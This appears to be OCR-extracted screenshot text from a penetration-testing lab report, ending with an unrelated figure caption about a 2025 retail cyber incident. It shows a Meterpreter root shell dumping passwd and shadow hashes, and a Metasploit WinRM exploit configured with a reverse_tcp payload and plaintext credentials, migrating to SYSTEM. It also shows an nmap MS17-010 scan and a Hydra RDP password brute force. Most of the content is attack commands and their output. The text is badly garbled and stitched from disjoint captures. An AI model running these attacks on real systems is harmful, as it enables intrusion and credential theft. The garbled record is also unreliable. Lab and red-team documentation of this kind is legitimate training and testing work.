040755/Tuxr-xr-x 4096 dir  2026-03-23 40530 root
040755/Tuxr-xr-x 4096 dir  2012-05-14 07:24:53 +0530 sbin
040755/Tuxr-xr-x 4096 dir  2010-03-17 04:27:38 +0530 srv
040755/Tuxr-xr-x 0 dir  2026-03-23 40530 sys
041777/ruxruxrux 4096 dir  2026-03-23 +0530 tmp
040755/Tuxr-xr-x 4096 dir  2010-04-28 +0530 usr
040755/Tuxr-xr-x 4096 dir  2010-03-17 +0530 var
100644 /ru-r 1987288 fil  2008-04-10 22:25:41 +0530 vmlinuz
meterpreter > id
" Unknown command: id. Run the help command for more details.
meterpreter > help
Core Commands

Command Description
o directinput o ths VM, move the mouse pointer insid o press Ctr+G. FIEET .
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Usage: info <module>
Prints information about a post-exploitation module

meterpreter > shell
Process 6347 created.

Channel 1 created.
whoami

uid=0(root) gid=0(root)
hostnane
metasploitable

uname -a

Linux metasploitable 2.6.24-16-server #1 SWP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
cat /etc/passud

root: oot:/root:/bin/bash

:/usr/sbin:
in:/bin/sh
sys:/dev:/bin/sh
bin: /bin/sync
games:x:5:60:games: /usr/games: /bin/sh
e bin/sh
/var/spool/1pd: /bin/sh
il:/var/mail:/bin/sh

var/spool/news: /bin/sh

ucp: /var/spool/uucp: /bin/sh

proxy proxy:/bin:/bin/sh
wni-data:x:33:33 :unmi-data: /var/wa: /bin/sh
34:backup:/var/backups:/bin/sh

ailing List Manager:/var/list:/bin/sh
ircd:/var/run/ircd:/bin/sh

:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
5534165534 :nobody: /nonexistent: /bin/sh
100:101: : /var/lib/libuuid:/bin/sh
dhcp:x:101:102: : /nonexistent: /bin/false
home/syslog: /bin/false
home/klog: /bin/false
:/var/run/sshd: /ust/sbin/nologin

bin/sh

postfix:x:106:115: : /var/spool/postfix: /bin/false
ftp:x:107:65534: :/home/ftp: /bin/false

:/var/lib/mysql:/bin/false
e/tomcat5.5:/bin/false
bin/false

:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002: ,,, :/home/service: /bin/bash
telnetd:x:112:120: : /nonexistent: /bin/false
proftpd:x:113:65534: : /var/run/proftpd: /bin/false
statd:x:114:65534: : /var/lib/nfs: /bin/false

To direct input to this VM, move the mouse pointer inside or press Ctrl+G. HO%mda e
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root:$1$/avpfBI1$x0z8w5UF9Iv./DRIEILid. :14747:0:99999:7:::
daemon:*:14684:0:99999:7:::

bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3Up0zQIqz4s5wFDI10:14742:0:99999:7: : :
sync:*:14684:0:99999:7
games:*:14684:0:99999:
man:*:14684:0:99999:7:::
1p:*:14684:0:99999:7:::
mail:*:14684:0:99999
news:*:14684:0:99999:7
uucp:*:14684:0:99999:7
proxy:*:14684:0:99999:7:
www-data:*:14684:0:99999
backup:*:14684:0:99999:7:
list:*:14684:0:99999:7
irc:*:14684:0:99999:
gnats:*:14684:0:99999:
nobody:*:14684:0:99999:7
libuuid:!:14684:0:99999:7
dhcp:*:14684:0:99999:7
syslog:*:14684:0:99999:7:::
klog:$1$F2ZVMS4K$RIXKT . CmLdHhAUE3X93qP0:14742:0:99999:7: : :
sshd:*:14684:0:99999:7:::

msfadmin:$1$XN10Zj2c$Rt/zzCW3mMLLUWA. ihZjA5/:14684:0:99999:7: : :

bind:*:14685:0:99999:7:::
postfix:*:14685:0:9999'
ftp:*:14685:0:99999:7:::

postgres:$1$Rw35ik . x$MgQgZUu05pAoUvFIhfcYe/:14685:0:99999:7: : :

mysql:!:14685:0:99999:7:::
tomcat55:%:14691:0:99999:7:::
distccd:*:14698:0:99999:7

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.
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$ msfconsole -q

msf > use exploit/windows/winrm/winrm_script_exec
[+] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf exploit(windous/uinm/winm_script_exec) >
RHOSTS 192.168.174.155

msf exploit(windous/uinm/winm_script_exec) >
USERNAME Administrator

msf exploit(windous/winm/winm_script_exec) >
PASSWORD Hellog123

msf exploit(windous/winrm/uinm_script_exec) >
DOMAIN => cs.org

msf exploit(windows/uinmm/winm_script_exec) >
LHOST => 192.168.174.128

msf exploit(windous/winrm/winm_script_exec) >
LPORT => 44y

msf explodt(uindois/uinm/winm_script_exec) >
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(windous/winm/winm_script_exec) >
FORCE_VBS => true

msf exploit(windous/winrm/winm_script_exec) >

set

set

set

set

set

set

set

set

run

[m]

RHOSTS 192.168.174.155
USERNAME Administrator

PASSWORD Hello@123

DOMAIN cs.org

LHOST 192.168.174.128

LPORT 4444

PAYLOAD windows/x64/meterpreter/reverse_tcp

FORCE_VBS true

[+] Started reverse TCP handler on 192.168.174.128:4444

[+] User selected the FORCE_VBS option

[+] Command Stager progress - 16.01% done (2046/12783 bytes)
[+] Command Stager progress - 32.01% done (4092/12783 bytes)
[+] Command Stager progress - 48.02% done (6138/12783 bytes)
[+] Command Stager progress - 64.02% done (8184/12783 bytes)
[+] Command Stager progress - 80.03% done (10230/12783 bytes)
[+] Command Stager progress - 95.90% done (12259/12783 bytes)
[+] Sending stage (232006 bytes) to 192.168.174.155

[+] Command Stager progress - 100.00% done (12783/12783 bytes)

[+] Session ID 1 (192.168.174.128:4444 -> 192.168.174.155:63789) processing InitialAutoRunScript 'post/windows/manage/priv_migrate’

[+] Current session process is foouc.exe (2652) as: cs\Administrator

[+] Session is Admin but not System.

[+] Will attempt to migrate to specified System level process.

 Could not migrate to services.exe.
| Could not migrate to wininit.exe.
[#] Trying svchost.exe (844)

[+] Successfully migrated to svchost.exe (844) as: NT AUTHORITY\SYSTEM

[+] Meterpreter session 1 opened (192.168.174.128:4444 -> 192.168.174.155:63789) at 2026-03-25 16:44:16 +0530

meterpreter > whoami

| Unknown command: whoami. Run the help command for more details.

meterpreter > shell
Process 5408 created.

Channel 1 created.
Microsoft Windows [Version 10.0.17763.3650]

(c) 2018 Microsoft Corporation. ALl rights reserved.

C:\Windows\systen32>whoami
whoami
nt authority\systen

C:\Windows\svsten32>inconfie

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.
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meterpreter > shell
Process 5408 created.

Channel 1 created.

5 Kak || vindows 7

Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. ALl rights reserved

C:\Windows\systen32>whoami
whoami
nt authority\systen

C:\Windous\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Etherneto:

Connection-specific DNS Suffix
Link-local IPv6 Address . . .
IPV4 Address. . . . . .. . .
Subnet Mask . . . . . . . . .
Default Gateway . . .

C:\Windows\system32>Dir

Dir

Volune in drive C has no label.
Volume Serial Number is 187B-A4B4

Directory of C:\Windows\system32

03/25/2026
03/25/2026
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
09/15/2018
11/05/2022
11/05/2022
09/15/2018
11/05/2022

To direct input to this VM, move the mouse pointer

moeaom

<DIR>
<DIR>
<DIR>

14,

228,
731,
68,
1,884,

iEEZEEZEEEZEZEZEEEZEZEZEEEEEEEZ

Tocaldomain
e80::6324:9779: co4d: edd2%3
192.168.174.155
255.255.255.0

192.168.174.2

0409

232 @AppHelpToast.png

308 @AudioToastIcon.png

450 @BackgroundAccessToastIcon.png
199 @bitlockertoastimage.png

791 @edptoastimage.png

330 @EnrollmentToastIcon.png

563 @language_notification_icon.png
483 goptionalfeatures.png

404 @VpnToastIcon.png

518 @MindowsUpdateToastIcon. contrast-black.png
810 @MindowsUpdateToastIcon. contrast-white.png

518 quindowsUpdateToastIcon.png
691 quiirelessDisplayToast.png
155 quanNotificationIcon.png
352 gMwansimLockIcon.png

864 aadauthhelper.dll

648 aadcloudap.dll
096 aadjcsp.dll
160 aadtb.dll

inside or press Ctrl+G.
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The command completed successfully.

C:\>systeninfo
systeminfo

Host Name:
05 Name:

05 Version:

05 Manufacturer:

0S Configuration:

0s Build Type:
Registered Owner:
Registered Organization:
Product ID:

Original Install Date:
System Boot Time:
System Manufacturer:
System Model:

System Type:
Processor(s):

BIOS Version:
Windows Directory:
System Directory:
Boot Device:
system Locale
Input Local
Time Zone:
Total Physical Memory:
Available Physical Memory:
virtual Memory: Max Size:
virtual Memory: Available:
virtual Memory: In Us
Page File Location(s):
Domain:

Logon Server:
Hotfix(s):

Network Card(s):

Hyper-V Requirements:

c:\of

WIN-LNRGKG26M9D

Microsoft Windows Server 2019 Standard Evaluation
10.0.17763 N/A Build 17763

Microsoft Corporation

Primary Domain Controller

Multiprocessor Free

Windows User

00431-10000-00000-AA229

3/21/2026, 4:24:44 AM

3/25/2026, 3:31:07 AM

Viware, Inc.

VMware20,1

X64-based PC

2 Processor(s) Installed.

[01]: Intel64 Family 6 Model 183 Stepping 1 GenuineIntel ~2803 Mhz
[02]: Intel64 Family 6 Model 183 Stepping 1 GenuineIntel ~2803 Mhz
VMuare, Inc. VMW201.00V.24866131.B64.2507211911, 7/21/2025
C:\Windous

C:\Windows\system32

\Device\Harddiskvolune2

en-us;English (United States)

en-us;English (United States)

(UTC-08:00) Pacific Time (US & Canada)

2,047 WB

544 MB.

3,199 MB

1,541 WB

1,658 MB

C:\pagefile.sys

cs.org

N/A

3 Hotfix(s) Installed.

[01]: KB5020627

[02]: KB5019966

[03]: KB5020374

1 NIC(s) Installed.

[01]: Intel(R) 82574L Gigabit Network Connection

Connection Name: Etherneto
DHCP Enabled:  Yes
DHCP Server: 192.168.174.254

1P address(es)
[01]: 192.168.174.155
[02]: feso::6324:9779:co4d: edd2

Mar25 16:50

unknown@unknown: ~

A hypervisor has been detected. Features required for Hyper-V will not be displayed.

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.
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L—( unknown® unknown )-[~/Documents]

$ nmap -sV -sC -p 445,3389,139,135 --script smb-vuln-ms17-010 192.168.174.148 -oN ~/redteam_evidence/win10_scan.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 18:18 +0530

Nmap scan report for 192.168.174.148

Host is up (0.0012s latency).

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

3389/tcp open ms-wbt-server Microsoft Terminal Services
MAC Address: 00:0C:29:61:1F:7C (VMware)

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.08 seconds

L—( unknown® unknown)-[~/Documents]
$ hydra -1 Unknown -P passlist.txt rdp://192.168.174.148 -t 1 -V

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-b
inding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-24 18:18:25
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 1 task per 1 server, overall 1 task, 5 login tries (1:1/p:5), ~5 tries per task
[DATA] attacking rdp://192.168.174.148:3389/
[ATTEMPT] target 192.168.174.148 - login "Unknown"
[ATTEMPT] target 192.168.174.148 - login "Unknown"
[ATTEMPT] target 192.168.174.148 - login "Unknown" - pass "demo@123" - 3 of 5 [child 0] (@/0)
[ATTEMPT] target 192.168.174.148 - login "Unknown" - pass "Hello@123" - 4 of 5 [child 0] (0/0)
[3389][rdp] host: 192.168.174.148 login: Unknown password: Hello@123

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-24 18:18:32

pass "12345678" - 1 of 5 [child 0] (@/0)
pass "temp@l23" - 2 of 5 [child o] (@/0)
3

L—( unknown% unknown)-[~/Documents]
$

To direct input to this VM, move the mouse pointer inside or press Ctrl+G. SEORC RN e
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&= Apps  Places Mar24 18:24
“eomn . o

LA unknown@unknown: ~/Documents Q

588
unknown@unknown: ~/Documents unknown@unknown: ~/Documents -

valid to: Sep 22 12:46:39 2026 GMT FreeRDP: 192.168.174.148
Thumbprint: 62:25:3b:c1:3a:7a:e3:80:fb:be:21:aa:4f:73
31:a8:b4:40:7a:51:f7:fd:77:6d:bc:92:4f
The above X.509 certificate could not be verified, possibly bed
. have
‘the CA certificate in your certificate store, or the certificat
Please look at the OpenSSL documentation on how to add a privat
=re.
Do you trust the above certificate? (Y/T/N) [18:19:46:133] [269
<ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentials s
folarse_name (Configuration file does not specify default realm [ Volume in drive C
(Il :46:133] [269826:00041e04] [ERROR][com.winpr.sspi.Kerberd Volume Serial Number
AcquireCredentialsHandleA]: krb5_parse_name (Configuration fil . | pirectory of C
fy default realm [-1765328160])

<DIR>

[18:19:46:993] [269826:00041e04] [INFO][com.freerdp.gdil - [gdj | 5 <DIR> -
1 framebuffer format PIXEL_FORMAT_BGRX32 2 o= e
[18:19:46:993] [269826:00041e04] [INFO][com.freerdp.gdil - [gdijs 5 <DIR> -procdot

te framebuffer format PIXEL_FORMAT_BGRA32 ) 2 o= e e

<DIR>

[18:19:47:013] [269826:00041e04] [INFO][com.freerdp.channels.rd 5 <DIR>
[rdpsnd_load_device_plugin]: [static] Loaded fake backend for > SDIRY

<DIR>

[18:19:47:023] [269826:00041e04] [INFO][com.freerdp.channels.dy <DIR>

[dveman_load_addin]: Loading Dynamic Virtual Channel ainput - preiig

[18:19:47:023] [269826:00041e04] [INFO][com.freerdp.channels. 5 <DIR>

[dvcman_load_addin]: Loading Dynamic Virtual Channel rdpgfx 2 preiig <
[18:19:47:024] [269826:00041e04] [INFO][com.freerdp.channels. 5 <DIR> ‘J
[dveman_load_addin]: Loading Dynamic Virtual Channel disp > preiig e <
[18:19:47:024] [269826:00041e04] [INFOI[com.freerdp.channels. s <ok |
[dveman_load_addin]: Loading Dynamic Virtual Channel rdpsnd { - — ==

[18:19:48:305] [269826:00041e3e] [INFO][com.freerdp.channels.rd Installed RAM
[rdpsnd_load_device_plugin]: [dynamic] Loaded fake backend for Graphics Card
[18: 88] [269826:00041e3e] [INFO][com.freerdp.channels.rd
[rdpsnd_load_device_plugin]: [dynamic] Loaded fake backend for

Storage
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Figure 2: Incident Timeline Gantt — M&S / Co-op Campaign 2025
Sources: M&S RNS [1]; NCSC [3]; BleepingComputer [9]; BlackFog [10]; Computer Weekly [11]; CMC [24]
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